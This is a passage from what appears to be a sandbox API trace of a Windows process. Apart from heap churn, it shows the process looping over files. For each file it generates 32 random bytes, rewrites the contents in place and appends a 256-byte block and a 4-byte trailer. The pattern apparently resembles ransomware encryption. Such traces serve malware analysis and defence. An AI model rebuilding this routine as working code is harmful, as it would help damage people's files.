dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.118] GetProcessHeap () returned 0x540000 [0086.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.118] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.119] GetProcessHeap () returned 0x540000 [0086.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.120] GetProcessHeap () returned 0x540000 [0086.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.121] GetProcessHeap () returned 0x540000 [0086.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.121] SetFilePointerEx (in: hFile=0x900, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.121] WriteFile (in: hFile=0x900, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.122] WriteFile (in: hFile=0x900, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.122] GetProcessHeap () returned 0x540000 [0086.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.122] GetProcessHeap () returned 0x540000 [0086.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.122] GetProcessHeap () returned 0x540000 [0086.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.122] CloseHandle (hObject=0x900) returned 1 [0086.122] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 97 [0086.122] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.122] ReadFile (in: hFile=0x904, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.122] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.123] GetProcessHeap () returned 0x540000 [0086.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.123] GetProcessHeap () returned 0x540000 [0086.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.123] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.123] GetProcessHeap () returned 0x540000 [0086.123] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.123] ReadFile (in: hFile=0x904, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0x85, lpOverlapped=0x0) returned 1 [0086.125] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.125] WriteFile (in: hFile=0x904, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0x85, lpOverlapped=0x0) returned 1 [0086.125] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.126] GetProcessHeap () returned 0x540000 [0086.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.126] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.127] GetProcessHeap () returned 0x540000 [0086.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.128] GetProcessHeap () returned 0x540000 [0086.128] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.129] GetProcessHeap () returned 0x540000 [0086.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.129] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.130] SetFilePointerEx (in: hFile=0x904, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.130] WriteFile (in: hFile=0x904, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.130] WriteFile (in: hFile=0x904, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.130] GetProcessHeap () returned 0x540000 [0086.130] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.130] CloseHandle (hObject=0x904) returned 1 [0086.131] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 98 [0086.131] SetFilePointerEx (in: hFile=0x908, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.131] ReadFile (in: hFile=0x908, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.131] SetFilePointerEx (in: hFile=0x908, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.131] GetProcessHeap () returned 0x540000 [0086.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.131] GetProcessHeap () returned 0x540000 [0086.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0086.131] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0086.131] GetProcessHeap () returned 0x540000 [0086.131] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.131] ReadFile (in: hFile=0x908, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x285fd08*=0xec, lpOverlapped=0x0) returned 1 [0086.135] SetFilePointerEx (in: hFile=0x908, liDistanceToMove=0xffffff14, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.135] WriteFile (in: hFile=0x908, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x285fd44*=0xec, lpOverlapped=0x0) returned 1 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.135] GetProcessHeap () returned 0x540000 [0086.135] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.136] GetProcessHeap () returned 0x540000 [0086.136] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: 